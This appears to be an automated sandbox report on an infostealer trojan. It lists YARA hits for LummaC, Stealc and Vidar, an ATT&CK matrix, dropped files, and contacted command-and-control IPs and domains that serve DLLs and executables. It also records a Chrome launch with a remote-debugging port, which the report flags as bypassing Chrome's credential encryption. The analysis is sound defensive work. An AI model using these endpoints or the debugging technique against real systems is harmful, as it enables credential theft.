Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents

Source: Yara match	File source: Process Memory Space: 24da741fb6.exe PID: 1236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0d8313073f.exe PID: 4136, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 203f60e481.exe PID: 5300, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 24da741fb6.exe PID: 1236, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 13.2.0d8313073f.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2940306745.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2922718430.0000000000611000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2559813189.0000000005310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0d8313073f.exe PID: 4136, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	21 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Side-Loading	2 Bypass User Account Control	21 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	121 Registry Run Keys / Startup Folder	12 Process Injection	32 Software Packing	NTDS	256 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	971 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	121 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	53%	ReversingLabs	Win32.Trojan.Vidar
file.exe	54%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Roaming\DiagTrack.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\DiagTrack.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	100%	Joe Sandbox ML
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Fwkdsz[1].exe	18%	ReversingLabs	ByteCode-MSIL.Infostealer.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	18%	ReversingLabs	ByteCode-MSIL.Infostealer.Generic
C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Trojan.Vidar

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
prod.detectportal.prod.cloudops.mozgcp.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://detectportal.firefox.com/	0%	URL Reputation	safe
https://json-schema.org/draft/2019-09/schema.	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://MD8.mozilla.org/1/m	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://shavar.services.mozilla.com/	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
http://json-schema.org/draft-07/schema#-	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	0%, Virustotal, Browse	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	142.250.186.110	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
bg.microsoft.map.fastly.net	199.232.210.172	true	false		unknown
wasni.care	208.109.77.116	true	false		unknown
ipv4only.arpa	192.0.0.171	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
www.google.com	216.58.212.164	true	false		unknown
necklacedmny.store	188.114.96.3	true	true		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
presticitpo.store	unknown	unknown	true		unknown
thumbystriw.store	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
171.39.242.20.in-addr.arpa	unknown	unknown	false		unknown
crisiwarny.store	unknown	unknown	true		unknown
fadehairucw.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://wasni.care/panel/uploads/Luvzkkz.mp4	false	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	unknown
navygenerayk.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/website-translationresource://gre/modules/DownloadIntegration.sys.mjs	firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://detectportal.firefox.com/	firefox.exe, 00000020.00000002.3278500608.00000253EC09F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://wasni.care	Fwkdsz.exe, 00000007.00000002.2640122155.0000000002C61000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsUI	firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 00000020.00000003.2899526882.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3320063127.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpser	0d8313073f.exe, 0000000D.00000002.2922718430.0000000000724000.00000040.00000001.01000000.0000000D.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000020.00000003.2894400947.00000253F6162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA29D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3213102159.00000253EBB45000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000020.00000002.3322305671.00000253EDF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF0B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dlla	0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	false		unknown
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService	firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000020.00000002.2983601021.00000253E872C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2817267782.00000253F46FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668191749.00000253EC000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/userFacingName	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881No	firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/aqH	0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000020.00000003.2668435370.00000253EC21F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668905912.00000253EC25A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668690950.00000253EC23C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2669234122.00000253EC277000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668191749.00000253EC000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/referenceBranch	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php95d7	skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes/items	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000020.00000002.2983601021.00000253E872C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://stackoverflow.com/q/14436606/23354	Fwkdsz.exe, 00000007.00000002.2703552750.0000000006A60000.00000004.08000000.00040000.00000000.sdmp, Fwkdsz.exe, 00000007.00000002.2640122155.0000000002CF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php2o	0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://exslt.org/common	firefox.exe, 00000020.00000002.2970521081.00000253E7E8A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	24da741fb6.exe, 0000000B.00000003.2564360640.0000000005977000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/csvImport	firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllvbnData	0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000020.00000002.2981301005.00000253E847D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	24da741fb6.exe, 0000000B.00000003.2528657418.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528779080.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528529918.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000003.2825724774.0000000001692000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://MD8.mozilla.org/1/m	firefox.exe, 00000020.00000003.2812464285.00000253F49B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2877164435.00000253F49B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 00000020.00000002.3230698047.00000253EBC44000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF0B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com/	firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe	24da741fb6.exe, 0000000B.00000003.2799995147.00000000011B6000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2800223657.0000000001171000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 00000020.00000002.2983601021.00000253E87EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2884153672.00000253F03F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/endDate	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.comremoveTabsProgressListenerbrowser.tabs.drawInTitlebartestPermissionFromPr	firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/nss3.dllata	0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	false		unknown
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThresholdhttp://mozilla.org/#/propert	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000020.00000003.2896479331.00000253F4452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/proposedDurationresource://passwordmgr/passwordstorage.sys.mjsGettin	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	0d8313073f.exe, 0000000D.00000003.2559813189.000000000533B000.00000004.00001000.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2983236159.000000006C191000.00000002.00000001.01000000.0000001A.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.000000000063C000.00000040.00000001.01000000.0000000D.sdmp	false	URL Reputation: safe	unknown
https://account.bellmedia.c	firefox.exe, 00000020.00000003.2885495011.00000253EF97C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 00000020.00000003.2885495011.00000253EF97C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.zhihu.com/	firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2883030561.00000253F44B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2883030561.00000253F44B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
